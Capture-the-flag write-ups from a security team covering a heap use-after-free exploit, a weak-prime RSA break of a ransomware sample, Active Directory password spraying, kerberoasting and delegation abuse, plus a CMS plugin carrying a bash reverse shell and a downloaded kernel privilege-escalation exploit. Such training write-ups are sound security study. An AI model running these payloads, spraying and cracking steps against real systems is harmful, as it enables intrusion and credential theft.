HTB Business CTF Write-ups

Rédigé par Guillaume André , Clément Amic , Vincent Dehors , Wilfried Bécard - 02/08/2021 - dans Challenges - Téléchargement
Synacktiv participated in the first edition of the HackTheBox Business CTF, which took place from the 23rd to the 25th of July. The event included multiple categories: pwn, crypto, reverse, forensic, cloud, web and fullpwn (standard HTB boxes). We managed to get 2nd place after a fierce competition. We had quite a lot of fun so we decided to publish write-ups of the most interesting challenges we solved.

Summary

You can find more writeups on our Github repository.

Backtrack (Pwn)

Several files are provided:

  • A compiled binary
  • The source code of this binary (C++)
  • A Dockerfile allowing to locally test and debug the exploit in the same environment (Ubuntu 18.04)

The source code is very short:

  1. main() creates three treads: listen_loop, do_reads and memory_loop. Then it executes a menu in an infinite loop.
  2. listen_loop() accepts an incoming connection and add the new socket in the fds array, and also adds NULL in the buffers array.
  3. do_reads() performs a non blocking recv() on each file descriptor in the fds array using the buffer from the buffers array.
  4. memory_loop() is responsible for allocating and freeing the buffers in the buffers array for each newly added file descriptor in fds and for each deleted ones (from the menu).
  5. menu() executed in the main thread allows performing several allocation: listing the fds array, removing an entry in fds or dislaying the buffer associated to an entry in fds.

Threads

 

The fds and buffers objects are defined as globals:

std::vector<int> fds;
std::vector<char*> buffers;

The vulnerabilities

As we can guess, the main problem is that several variables are used from several threads without any locking mechanism. There are several locations where a race condition can occur but the easiest one to exploit is in the do_reads() function:

        std::vector<char*> valid_buf;
        std::vector<int> valid_fd;
        for (int i = 0; i < fds.size(); i++) {
            if (fds[i] != -1 && buffers[i] != nullptr) {
                valid_fd.push_back(fds[i]);
[1]             valid_buf.push_back(buffers[i]);
            }
        }
[2]     sleep(1);
        for (int i = 0; i < valid_fd.size(); i++) {
[3]         int res = recv(valid_fd[i], valid_buf[i], 0x40, MSG_DONTWAIT);
        }

 

In this code, the do_reads thread copies the reference of a valid allocated buffer [1], waits one second [2] and then fills it with user-controlled data [3]. So, if during this second, another thread has deleted the allocation, the recv() writes data into a freed chunk (UAF).

To trigger this Use After Free, one can just do the following:

  1. Connect to the port 31337: a new file descriptor is added in the fds array. The memory loop will allocate the associated buffer within 1ms.
  2. Wait 1s: do_reads has a copy of this file descriptor and its associated buffer.
  3. Ask to delete the fd in the menu: this will not close it but just set the entry in fds to -1.
  4. Send data in this buffer.

To make sure we win this 1 second race, the buffer content can be polled using menu() to synchronize the exploit code with the do_reads loop: the content of the buffer is changed when the recv() is performed.

The other problem in the source code is that the allocations are not zeroed. So allocating a buffer and then printing it will display the content of the memory where this chunk is allocated (info leak).

R/W stabilization

The allocations are made using new char[0x40] which just calls libc's malloc() with the same size. As we can allocate and free them at will, one can leak the libc metadata by removing a chunk, allocating a new one and using the infoleak. In this leaked metadata, there is the pointer of the next free chunk after this one. Using this pointer, the address of all allocations can be guessed in a determinist way.

After retrieving this address in heap, the UAF is used to overwrite the metadata of a freed buffer in order to take over one chunk. Indeed, if the content of a freed chunk is overwriten after been freed (using do_read) the FD/BK pointers can be overwritten. By writing an arbitrary address, this address will be returned by the second next malloc().

This gdb script prints the address of the allocated buffers:

b *0x0401941
commands
    silent
    printf "%016llx\n", $rax
    c
end

Overwriting the libc metata with an address shows that the chunk is returned after two allocations (the next one being the chunk used as UAF):

Controled chunk allocation

The libc expects to find metadata in this last chunk. So if we allocate again a new chunk, it will use the first 64 bytes located at this address as the next chunk. So the exploitation never allocates again a new buffer after this step.

The idea of the stablization is to get reusable read/write primitives by taking over one object at a known address. Using the infoleak, an address in heap is retrieved but there are mostly only other buffers which content is controled anyway. But the program is compiled without PIC, it means it is loaded at the same address:

00400000-00406000 r-xp 00000000 fd:00 29101970                           /chall
00606000-00607000 r--p 00006000 fd:00 29101970                           /chall
00607000-00608000 rw-p 00007000 fd:00 29101970                           /chall

The fd and buffers vectors are both composed of three 64-bytes values. The first one is the start of the data of this vector and the second one is the end. So taking over a vector allows to define where it is stored in memory (as well as its size). To get stable R/W, we only need to take over the buffers vector.

As the address of all the first allocations are known (using the pointer leaked previouly), the overwritten buffers vector can point to controled data. This fake buffer table is made to:

  1. Have the same size as the previous one
  2. Have the same NULL entry (otherwise the memory loop thread would perform an allocation)
  3. Have one entry pointing to itself: so we can update it and get reusable R/W primitives
  4. Have another non-NULL entry pointing to the victim we want to read or write

Fake vector content

 

With this setup, updating this table can be done by filling buffer 1. Reading memory at an arbitrary address can be done by using the menu with buffer index 3. Writing to this address can be done by sending data on the connection corresponding to the buffer 3.

Flag

From these primitives, gaining command execution is easy because the program has no PIC and the GOT can be overwritten (it is mapped as rw). Moreover, there is a call to system() in the menu.

To get the flag :

  1. Write the command somewhere in memory
  2. Overwrite the GOT entry of puts() with system()
  3. Update the address of one buffer
  4. Print it with the menu, this will execute the command
mem_write(0x607140, b'/bin/sh -c "cat /flag.txt"\x00')
mem_write(0x607100, int(0x401086).to_bytes(8, 'little'))
update_buffer_table(1, buffer_0_addr, 0x607140)
print_buffer(3)
# Printed : HTB{wh0_n33ds_mut3x35_4nyw4y!?!?}

Got Ransomed (Crypto)

Got Ransomed was the least solved crypto challenge. It involved retrieving the Python source code of a PyInstaller executable and abusing a weak prime number generator to factorize a 2048-bit RSA modulus.

Where is the source code?!

We were given SSH access to a machine which was hit by a ransomware:

$ ssh -p 30137 developer@159.65.58.156
developer@159.65.58.156's password: 
*** You got ransomed!***
Seems like your manager lacks some basic training on phishing campaigns.

developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:~$ cd /home/manager/
developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:/home/manager$ ls -la
total 2816
drwxr-xr-x 1 manager manager    4096 Jul 19 10:19 .
drwxr-xr-x 1 root    root       4096 Jul 19 10:19 ..
-rw-r--r-- 1 root    root        240 Jul 19 10:19 .bash_logout.enc
-rw-r--r-- 1 root    root       3792 Jul 19 10:19 .bashrc.enc
-rwxr-xr-x 1 root    root    1383160 Jul 19 09:33 .evil
-rw-r--r-- 1 root    root        832 Jul 19 10:19 .profile.enc
-rw-r--r-- 1 root    root    1385680 Jul 19 10:19 Payroll_Schedule.pdf.enc
-rw-r--r-- 1 root    root      74016 Jul 19 10:19 data_breach_response.pdf.enc
-rw-r--r-- 1 root    root         64 Jul 19 10:19 flag.txt.enc
-rw-r--r-- 1 root    root       1289 Jul 19 10:19 public_key.txt

Among the files is an executable named .evil that seems rather intriguing. I first tried to open it in a decompiler but the executable seemed a bit non-standard and reversing is not my strong suit so I just ran it in a VM :). I got the following error:

$ ./.evil
Fatal Python error: initfsencoding: Unable to get the locale encoding
ModuleNotFoundError: No module named 'encodings'

Current thread 0x00007f2208114b80 (most recent call first):

It seems like the program is trying to load some Python module. It sure looks like some PyInstaller generated executable! Basically, what PyInstaller does is archiving the Python source code as well as the Python interpreter into a single executable file so that it can act as a standalone binary. When executed, the source code and the interpreter are uncompressed into a temporary folder. Finally, the Python code is executed the same it would normally be executed.

This is rather good news as it means we do not have to reverse anything because we can just extract the compiled Python source code from the binary and uncompile it.

Extracting the compiled Python source code can be done with pyinstxtractor. Be careful to use the same Python version as the one used to create the PyInstaller executable (pyinstxtractor will print a warning otherwise). For ELF binaries, an additionnal step must be done:

$ objcopy --dump-section pydata=pydata.dump .evil
$ python3 pyinstxtractor.py pydata.dump

[+] Processing pydata.dump
[+] Pyinstaller version: 2.1+
[+] Python version: 37
[+] Length of package: 1339359 bytes
[+] Found 7 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: ransomware.pyc
[+] Found 181 files in PYZ archive
[+] Successfully extracted pyinstaller archive: pydata.dump

You can now use a python decompiler on the pyc files within the extracted directory

$ ls pydata.dump_extracted/
pyiboot01_bootstrap.pyc  pyimod01_os_path.pyc  pyimod02_archive.pyc  pyimod03_importers.pyc  PYZ-00.pyz  PYZ-00.pyz_extracted  ransomware.pyc  struct.pyc

Hmmm, the ransomware.pyc file seems particularly interesting! Compiled Python files can be easily uncompiled with uncompyle6:

$ uncompyle6 pydata.dump_extracted/ransomware.pyc > ransomware.py

This prime is sus

The ransomware script is rather straightforward:

  1. A random AES key is generated
  2. An 2048-bit RSA key is generated with a custom prime generator
  3. Each file is encrypted with AES-CBC and the encryption key previously generated
  4. The AES key is encrypted with the RSA key

Everything is standard cryptographically speaking, except for the prime number generation function:

def getPrime(self, bits):
    while 1:
        prime = getrandbits(32) * (2 ** bits - getrandbits(128) - getrandbits(32)) + getrandbits(128)
        if isPrime(prime):
            return prime

From now on, the goal is pretty clear: we need to abuse this weird prime generator to factorise the RSA modulus, retrieve the private key, decrypt the AES key and eventually decrypt the flag.

The encrypted AES key and the RSA public key are given in the public_key.txt file on the compromised machine:

$ cat public_key.txt
ct =103277426890378325116816003823204413405697650803883027924499155808207579502838049594785647296354171560091380575609023224236810984380471514427263389631556751378748850781417708570684336755006577867552855825522332814965118168493717583064825727041281736124508427759186701963677317409867086473936244440084864793145556452777286279898290377902029996126279559998481885748242510379854444310318155405626576074833498899206869904384273094040008044549784792603559691212527347536160482541620839919378963435565991783142960512680000026995612778965267032398130337317184716910656244337935483878555511428645495753032285992542849349183330115270055128424706
n =138207419695384547988912711812284775202209436526033230198940565547636825580747672789492797274333315722907773523517227770864272553877067922737653082336474664566217666931535461616165422003336643572287256862845919431302341192342221401941030920157743737894770635943413313928841178881232020910281701384625077903386156608333697476127454650836483136951229948246099472175058826799041197871948492587237632210327332983333713524046342665918954004211660592218839111231622727156788937696335536810341922886296485903618849914312160102415163875162998413750215079864835041806222675907005982658170273293041649903396166676084266968673498852755429449249441
e =6553

By representing the generated primes in hexadecimal, we observe a weird structure:

>>> hex(getPrime(1024))
'0x9b961fc1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff923050f97695bf2fdb06f493c8192014a37fbb81'

Most of the bytes are just 0xff, meaning the primes have only a few bytes of entropy.

From the getPrime function, the generated primes p and q can be represented as:

p = u1(21024 + v1) + w1 = u121024 + u1v1 + w1
q = u2(21024 + v2) + w2 = u221024 + u2v2 + w2

Therefore, the modulus n can be written as:

n = pq
  = (u121024 + u1v1 + w1)(u221024 + u2v2 + w2)
  = u1u222048 + u1u2v221024 + u1w221024 + u1v1u221024 + u1v1u2v2 + u1v1w2 + w1u221024 + w1u2v2 + w1w2
  = u1u222048 + (u1u2v2 + u1w2 + u1v1u2 + w1u2)21024 + u1v1u2v2 + u1v1w2 + w1u2v2 + w1w2
  = a22048 + b21024 + c

with a = u1u2
     b = u1u2v2 + u1w2 + u1v1u2 + w1u2
     c = u1v1u2v2 + u1v1w2 + w1u2v2 + w1w2

By substituting 21024 with x, we get:

n = ax2 + bx + c

The generated modulus can be represented as a second-degree polynomial! This is good news as such a polynimial can be trivially factorised into:

ax2 + bx + c = (s1x + t1)(s2x + t2) = pq

a, b and c can be retrieved simply by looking at the hexadecimal representation of n:

>>> hex(n)
'0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1'
a = 0x3b599770048e9bad
b = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580e
c = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1

And that's it! We have all the elements needed to solve the challenge. The following script factorises the polynomial with sympy, computes the private exponent, decrypts the encryption key and decrypt the flag:

from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from sympy import mod_inverse, poly
from sympy.abc import x


ct = 0x2c599fad32765bdd5ac1de9284cd6fd6e5f47e097ab42c457fd4b8c2ca49eb6c437871539786ba64f3bf23027fd1be69a25a974497639c45cad549f3174630f6c4faceb81d6be893842231c95b214411eec1e4600fd7c323a6f45667b9497b98dc37f401f741cae4e6520517be29a29d14a28c7f55c45ad0a33fd62ffca573da8dcd9b5aa8cf29a1d2b3047782713c31168fa1e90006fd73328844c382b8757ef9459079346a74c1747a27e03852aaf9b33a114ecff94d0d6858abb188426e859f37cf9c2f1b28fcba9fba1e5f16eff14122bf7b3e15ebf992ea8c890f253f2d351492175aa1796a7756d57e63c1d1e8d06474a4e1afc2e65a5a0a15bf8097965ac250fe71736102
n = 0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1
e = 0x10001
a = 0x3b599770048e9bad
b = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580e
c = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1

assert(a * 2 ** 2048 + b * 2 ** 1024 + c == n)


# Factorise n
P = poly(a * x ** 2 + b * x + c)
factors = P.factor_list()[1]
p = factors[0][0].eval(2 ** 1024)
q = factors[1][0].eval(2 ** 1024)

assert(p * q == n)


# Decrypt the encryption key
phi = (p - 1) * (q - 1)
d = mod_inverse(e, phi)
key = pow(ct, d, n).to_bytes(32, 'big')


# Get the flag!
with open('flag.txt.enc', 'rb') as f:
    data = f.read()

iv = data[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(data[16:]), AES.block_size).decode())
# HTB{n3v3r_p4y_y0ur_r4ns0m_04e1f9}

 

Cycle (Fullpwn)

Nmap's output shows a classic Windows box:

# nmap -sCV -p- cycle.htb
Nmap scan report for cycle.htb (10.129.58.189)
Host is up (0.17s latency).
Not shown: 65524 filtered ports
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49536/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-24 15:02:54
|_  start_date: N/A

User flag

Looking at port 445 (SMB), we observed that the machine is a domain controller with a null authentication enabled:

$ smbclient -U " "%" " -L //cycle.htb/
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk      Shared folder
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 

The Backups share can be accessed anonymously:

$ smbclient -U " "%" " //cycle.htb/Backups
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun 11 13:01:45 2021
  ..                                  D        0  Fri Jun 11 13:01:45 2021
  Onboarding.docx                     A     6495  Fri Jun 11 13:01:33 2021
  sqltest_deprecated.exe              A     6144  Fri Jun 11 13:01:45 2021
  test.txt                            A        5  Fri Jun 11 12:54:50 2021

                5237247 blocks of size 4096. 2108119 blocks available
smb: \>

Onboarding.docx suggests a password reuse with the following information:

MegaCorp Onboarding Document

Hello newbie!

We’re excited to have you here and look forward to working with you. Here are a few things to help you get started:

Workstation password: Meg@CorP20!

Username format: FLast (Eg. JDoe)

Please change the password once you login!

Note: This document has been deprecated in favor of the new cloud board.

The binary sqltest_deprecated.exe is a .NET assembly. By quickly looking at it on IDA we can extract the following code sample:

aDczkw0ktscdnll:                        // DATA XREF: SQLTest__Main↑o
    text "UTF-16LE", "dcZKW0ktsCDNlLjH3wEdmnURrL1okbk6FJYE5/hpfe8=",0
aNxl6e8rtljuaip:                        // DATA XREF: SQLTest__Main+B↑o
    text "UTF-16LE", "nXL6E8RtlJuaipLQtVQo9A==",0
aDckxwal4e3zeji:                        // DATA XREF: SQLTest__Main+16↑o
    text "UTF-16LE", "dckxwaL4e3ZeJi8T0078rM3rwB39S+zmnrPf1ON1x2A=",0
 string SQLTest::Decrypt(unsigned int8[] cipherText, unsigned int8[] Key, unsigned int8[] IV)

Data Source=localhost;Initial Catalog=Production;Us"
    text "UTF-16LE", "er id=sqlsvc;Password={0}

The executable does a simple AES decryption in order to connect to the sql database. We can retrieve the password with cyberchef:

AES decryption

We obtain the following credentials: sqlsvc:T7Fjr526aD67tGJQ.

Credentials are valid on the domain (confirmed by CrackMapExec):

$ cme smb cycle.htb -u sqlsvc -p T7Fjr526aD67tGJQ
SMB         10.129.1.6      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.1.6      445    DC01             [+] MEGACORP.LOCAL\sqlsvc:T7Fjr526aD67tGJQ

With this account, it is possible to retrieve domain users through RPC:

$ rpcclient -W MEGACORP.LOCAL cycle.htb -U 'sqlsvc%T7Fjr526aD67tGJQ' -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[dsc] rid:[0x3e8]
user:[GReynolds] rid:[0x450]
user:[TMoore] rid:[0x451]
[...]

We remember the on-boarding document. We tried to spray the previous password against all users and found 2 valid users (don't forget the --continue-on-success or you will miss WLee account).

$ cme smb cycle.htb -u users.txt -p 'Meg@CorP20!' --continue-on-success
SMB         10.129.1.6      445    DC01             [-] MEGACORP.LOCAL\Administrator:Meg@CorP20! STATUS_LOGON_FAILURE
SMB         10.129.1.6      445    DC01             [-] MEGACORP.LOCAL\Guest:Meg@CorP20! STATUS_LOGON_FAILURE
[...]
SMB         10.129.1.6      445    DC01             [+] MEGACORP.LOCAL\KPrice:Meg@CorP20!
SMB         10.129.1.6      445    DC01             [+] MEGACORP.LOCAL\WLee:Meg@CorP20!

With this account, we can get command execution with evil-winrm:

$ evil-winrm -u WLee -p 'Meg@CorP20!' -i cycle.htb
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\wlee\Documents>
*Evil-WinRM* PS C:\Users\wlee\desktop> cat user.txt
HTB{cycl3_g0_brrrr}

Root flag

Common ports on domain controller are not exposed. We setup a socks server in order to enumerate the domain with impacket.

$ ./revsocks -listen 10.10.14.27:11000 -socks 127.0.0.1:1100 -pass a_strong_password_ofc
*Evil-WinRM* PS C:\windows\temp> curl 10.10.14.27/revsocks.exe -o revsocks.exe
*Evil-WinRM* PS C:\windows\temp\mine> .\revsocks.exe -connect 10.10.14.27:11000 -pass a_strong_password_ofc

We also run bloodhound and discover few interesting things. First one: we can kerberoast GFisher user.

$ proxychains GetUserSPNs.py MEGACORP.LOCAL/sqlsvc:T7Fjr526aD67tGJQ -request
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name     MemberOf  PasswordLastSet             LastLogon                   Delegation  
--------------------  -------  --------  --------------------------  --------------------------  -----------
HTTP/Web01            GFisher            2021-06-11 12:59:40.165903  2021-06-11 13:42:38.853453  constrained 



$krb5tgs$23$*GFisher$MEGACORP.LOCAL$MEGACORP.LOCAL/GFisher*$b6851d6368749c79d643f6381aef0331$981a7fc2be63c1a8dc8321be5ab590cbcda5449f477c40ba753a3ad72df55e14a72ac7ef38ae187a19315102fd82cc337937a821e705462e7ecfdfa08ce67e923ac7ad6ba6440ae4a1eb5bc5498b82c6e288c0287fe7739ab3b287f52c73c14242213e2fc189c5daca1e6911273769373f56ab0c287dc2a208efa13a872f3aef90f84bb8dfd4f6fd4bcd28a1b0bd4655a8ffb6b4bee8d9b539555611dabc8bb3f841236416cc283d18ac8098099e1015656a9f4078dba08bd70230aafeaf2fe304309e9a031ba94fc5bb82966062ef29dad8bfdc7fa9bae3f9a7f00d476c36ae70f9ac15b9bb11bcfe854d2e5127b298787b4b1d31ad77d3e8fd879189bee5810b3d38d2afa104a7eb145e7dd60618aa6469c28b8701808c032337054cac1aa527a42a074ee8cd986185d56ae37209e6e33b581013a64e7765a0d35d6a3d94a9fd749100afda22397652482c8ce62812eaf8083757dc36b1f4e4d9edfe370e3b3f0c2ba8a7eb47815bc29d1afff9686ccd437680fd4ed91160f9fac61f14622a6590de7ff0eacae5d33a3bcefee77b6d54e989f2f37a99e0be0ca41ca82c14f0aa23001c2174474bdb7e16a7665b918559fd0f5d46bf39ecd284b467dd32a411c565ac80923d4497c4722ce6157fff42fbe14cf6a17286a1769607fd63f74d5d5b01594dd188735076156f9c5934b2ea2eb5795e85170d7caa760af50fea663180530c384e1733d2557121eee980957f696594385ebcb54cf88baebb341b5cc6233df884a4c225e3bf68f3f00a31c1426075342cbeb8b22331b32f226bb911e6ad01f713c3d8824c0ca69a19b0d7e55ecfd187633629ead55a28ba1f576a5f76a447cfb333adafebeafb7837055c90f37418be0b6a21ae0c3b25b2866d60c986b3562541eb5fe4d0bb122294cea43f77c9c57c977e1cff2dcb6a2f854021a72747f50af89c170c5814be0222e8d7c72923550333bce86bb980f5eb78f3c54a48ccdcceca9a1f192c364d75946ff9a3717a9325f898670b4791419f60901f6bc19930a4ff0b037fb99840081988f5cf8bafacdef07479226a0c88b44763f560a00c45a318d4f76b9ebdca823082787fa210f1efebc49721aa062b11ea2472a89339e1a918868de9a302ca435cb94c264c812afd6c0f27b9156b30276c53aa6261dedac6b2b865ec6cbccb996811aa79d856c0e064caebb1ad5d2d4f3129eadccf4cbe9f9c865ab7a905f06a21fe6c85e2accbcccb849ddf6ec811afdcd6622e021d5ad8e75b1dedd1d556e34b9af547c71628030e5ffa51ee010ed2fc36605a919e9178c666d1c8bc04143adb1f7307677956ac4e22

$ john fisher.hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
escorpion10      (?)

With GFisher we can abuse the constrained delegation to takeover the domain.

Constrained delegation path

We used impacket to request a TGT for the domain Administrator account and get the root flag.

$ proxychains getST.py -spn MSSQL/DC01.MEGACORP.LOCAL -impersonate Administrator MEGACORP.LOCAL/GFISHER:'escorpion10'
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

export KRB5CCNAME=Administrator.ccache

Tue Jul 27 03:19:21 wil@pwn:~/htb/business_ctf/boxes/cycle$ proxychains wmiexec.py -k -no-pass DC01.MEGACORP.LOCAL
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\administrator\desktop\root.txt
HTB{d0nt_c0nstrain_m3_br0}

 

Level (Fullpwn)

# nmap -sCV -p- level.htb
Nmap scan report for level.htb (10.129.95.161)
Host is up (0.40s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE          VERSION
80/tcp   open  ssl/http?
8081/tcp open  blackice-icecap?

User flag

Apache Flink on port 8081 is vulnerable to path traversal. Metasploit has a module for it. We can read the .env file in the webroot:

msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run

[*] Downloading /var/www/html/.env ...
[+] Downloaded /var/www/html/.env (125 bytes)
[+] File /var/www/html/.env saved in: /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt                                                                                        
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


$ cat /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt                                                              
DB_HOST=127.0.0.1
DB_CONNECTION=mysql
DB_USERNAME=hcms
DB_PASSWORD=N>2sM4^R_j>g)cfe
DB_DATABASE=hcms
HCMS_ADMIN_PREFIX=admin

These credentials are valid on port 80 on HorizontCMS: admin:N>2sM4^R_j>g)cfe

Sucessful login

With admin privileges, we can add a malicous plugin. Here we used a modified GoogleMaps plugin with a reverse shell:

$ cat messages.php 
<?php 

$shell = exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.27/9000 0>&1'");

return [
        'successfully_added_location' => $shell,//'Location added succesfully!',
        'successfully_deleted_location' => 'Location deleted succesfully!',
        'successfully_set_center' => 'Location is successfully set as map center!'
];

Install the plugin in the following menus: Themes & Apps/Plugin/Upload new plugin. Click on Install and activate it. Then click on Google Maps (top menu) / Add location / Set arbitrary content in fields then save.

Once the location is added, we receive a connect-back from the reverse shell and we can read the user flag:

$ nc -nvlp 9000
Listening on [0.0.0.0] (family 2, port 9000)
Connection from 10.129.173.192 60640 received!
bash: cannot set terminal process group (1038): Inappropriate ioctl for device
bash: no job control in this shell
albert@level:/var/www/html$
albert@level:/home/albert$ cat user.txt
HTB{0utd4t3d_cms_1s_n0_g00d}

Root flag

By quickly searching for privilege escalation paths, we notice the operating system is vulnerable to two consecutive LPE (Local Privilege Escalation) vulnerabilities:

albert@level$ uname -a
Linux level 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
      
albert@level$  cat /etc/os-release 
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
[...]
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

albert@level$ /sbin/sysctl -n 'kernel.unprivileged_userns_clone'
1

As the exploit written by Vdehors for his vulnerability CVE-2021-3492 was only targetting Linux kernel versions 5.8, he slightly modified it in order to also support Linux kernel version 5.4. In the initial exploit, the synchronization between kernel and userspace was done using a new feature of userfaultfd called write-protect. This feature is not present in kernel versions 5.4 so this part of the exploit has been replaced with the legacy userfaultfd page faults. To be able to preempt the kernel for each copy_to_user(), the userland structure is placed on two different pages and these pages are untouched to trigger the userfaultfd wakeup.

Note: the exploit for Linux kernels 5.4 is now available on our Github repository.

Finally, we can use his exploit to solve the box:

albert@level:/tmp/foo$ wget "10.10.14.65:8080/exploit" 
albert@level:/tmp/foo$ mkdir symbols
albert@level:/tmp/foo/$ wget "10.10.14.65:8080/System.map-5.4.0-48-generic" -O symbols/System.map-5.4.0-48-generic
albert@level:/tmp/foo$ chmod +x exploit 
albert@level:/tmp/foo$ ./exploit 
################################################
#                EXPLOIT SETUP                 #
################################################
Kernel version 5.4.0-48-generic
0xffffffff81085460 set_memory_x
0xffffffff810aba30 proc_doulongvec_minmax
0xffffffff810cdb40 commit_creds
0xffffffff810cdec0 prepare_kernel_cred
0xffffffff819f7dc0 devinet_sysctl_forward
0xffffffff82654040 debug_table
Pinning on CPU 0
Creating new USERNS
Configuring UID/GID map for user 1000/1000
Creating new MOUNTNS
Mounting tmpfs on d1
Mounting shiftfs on d2
Creating shiftfs file
Shiftfs FD : 4
Remaped 1 page at 0x100000
Remaped 1 page at 0x101000
Allocated 2 pages at 0x100000 (ret:0x7f9a406d1740)
Allocated 2 storage pages at 0x55874bb1b000 (ret:0)
UFFD FD: 5
Registering new mapping watch = 0
Registering new mapping watch = 0
################################################
#           PRIMITIVES STABILISATION           #
################################################
Triggering the vulnerability...
UFFD poll returned
WP Fault handling 1
Recreate mapping for page 1
Backuping page data 1
Unmap page 1
Remaped 1 page at 0x101000
Registering new mapping watch = 0
Unblock page 0
[...]
Entering NET namespace...
Namespace NET fd = 6
Setns returned 0
Leaking payload address...
Table is at ffff8ac12fa1c008
Dumping global sysctl...
global_sysctl_victim[0] = 0xffffffff87b5f238
[...]
global_sysctl_victim[7] = 0x0000000000000000
Patching global sysctl...
global_sysctl_victim[0] = 0xffffffff87b5f238
[...]
global_sysctl_victim[7] = 0x0000000000000000
################################################
#                 SYSTEM REPAIR                #
################################################
Checking R/W primitives
Current header is 000000000000ffff
Restored header is ffff8ac136194000
Restoring global sysctl...
################################################
#              SHELLCODE INJECTION             #
################################################
Setting buffer to RWX
Writting shellcode at ffff8ac12fa1cf08
Writting prepare_kernel_cred at ffff8ac12fa1cef8
Writting commit_cred at ffff8ac12fa1cef0
Executing shellcode...
################################################
#                 YOU ARE ROOT                 #
################################################
root@level:/tmp/foo# id
uid=0(root) gid=0(root) groups=0(root)

root@level:/tmp/foo# cat /root/root.txt 
HTB{br0k3n_st0r4g3}

Fire (Fullpwn)

The Nmap scan shows a classic Windows box.

# nmap -sCV -p- 10.129.95.158
Nmap scan report for 10.129.95.158
Host is up (0.021s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
